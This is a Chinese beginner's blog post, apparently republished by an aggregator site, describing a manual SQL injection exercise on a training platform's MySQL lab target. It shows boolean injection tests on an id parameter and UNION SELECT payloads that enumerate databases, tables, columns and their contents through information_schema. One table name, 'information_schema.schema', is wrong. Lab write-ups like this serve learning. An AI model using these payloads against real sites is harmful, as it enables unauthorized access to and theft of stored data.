SQL注入(入门)
Posted 先驱创造
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入(入门)相关的知识,希望对你有一定的参考价值。
记一次SQL注入过程:
近几日学习了手动SQL注入的原理和一些数据库知识,内心感觉自己掌握了SQL注入的方法,遇到了简单明显的SQL漏洞一定会手到擒来,就算不会利用SQL漏洞干点其他事,但查个数据库还是可以做到的。
于是在今天就决定找一个SQL注入漏洞试试手,于是我找到了墨者学院:https://www.mozhe.cn
这个就是墨者学院众多靶机中的一个,mysql数据库的的漏洞靶机。
刚开始我感觉应该还可以,但是当我尝试几次后,我突然发现,这个看起来好像让我感觉无从下手~~~
进入页面后,我尝试了几次基于错误的判断,对表单填写了好久~好久~~这是让人心态都崩了,感觉完全找不到什么注入点~
于是我要耍赖了,哈哈,没办法,找不到,我也不能死耗着,我要先看看它的注入点到底在哪,要不我会疯的。。。于是我用burpsuite截断,然后把请求保存了一个文件,用sqlmap扫描了一下,嘿嘿
但是我耍赖了,我开挂了,我都上帝视角了,sqlmap居然什么都没扫出来,这让我一再怀疑,是不是sqlmap歇菜了!
由于当时做这些时候没有截图,后来完成后再次登陆已经是完成的页面了,不能再次注入了,所有这里没办法放图了。。。
反正,就算是我开挂了,还是对它没办法。
正在我不想再继续下去的时候,我发现了这个:
在这个表单的下面有这么一个滚动的公告,我发现它可以点击,并且可以进入另一个页面:
在这个url上可以看到有一个变量,id=1,看到了这个真是让人高兴,于是我对它也进行了一次和表单一样的操作——基于布尔来判断它是否可以注入,结果很明显,我注入成功了
基于布尔的判断是这样的:
原URL:http://xxx.com/a.php?id=1
判断:http://xxx.com/a.php?id=2 页面不显示内容
http://xxx.com/a.php?id=2 or 1=1 页面显示公告内容
http://xxx.com/a.php?id=2 and 1=2 页面不显示内容
由此我判断id是一个注入点
这个东东就是burpsuite,它是一个很强大的web渗透测试工具,功能多多,我这次用到的就是他的代理截断功能和重放功能
发现注入点是一个很好的开始,但是接下来我发现,我居然不会查数据库。。。我明明会的啊,怎么不灵验了呢
都到这地步了,我不能放弃啊,于是我在百度上进行搜索查看有哪些用于SQL注入用的查询语句,搜索引擎是个好东西,大家一定要懂得使用;搜出来了好多回答,我也试了好多,但都无法执行。
最后我终于找到一个提供给我适合我是用的方法的网站:
https://www.cnblogs.com/cui0x01/p/8620524.html
这个站点中写的比较细致,大家如果看不懂我写的笔记可以查看这个链接。
SQL注入时查看库名、表名、列名、内容数据
查看当前数据库:
Union select 1,2,3,4,5 //先通过这种方式查看服务端的sql查询语句查询了几列。使用union最重要的一点就是要服务端查询语句查了几列,union后的语句就必须也是查询几列,也可以通过order by 10这样结合页面反应来判断服务端查询语句查询了几列
查询所有数据库:
Union select 1,2,3,group_concat(schema_name),4 from information_schema.schema //这样来查询所有的数据库,group_concat(schema_name)这个语句必须要放在一个查询结果可以显示在页面的列上
基于已知数据库查询所有该库所有表:
Union select 1, 2, 3, group_concat(table_name), 4 from information_schema.tables where table_schema=0x(数据库库名的十六进制编码)
基于已知数据表查询该表下的所有列:
Union select 1,2,3,group_concat(column_name),4 from information_schema.columns where table_name=0x(数据库表名的十六进制编码)
查询某个数据表内所有列的内容:
Union select 1,2,3,group_concat(数据表内每一个列的列名,可以选择一个十六进制编码的符号来将这些输出信息分隔开来),4 from 表名
以上就是这次SQL注入漏洞的收获了
以上是关于SQL注入(入门)的主要内容,如果未能解决你的问题,请参考以下文章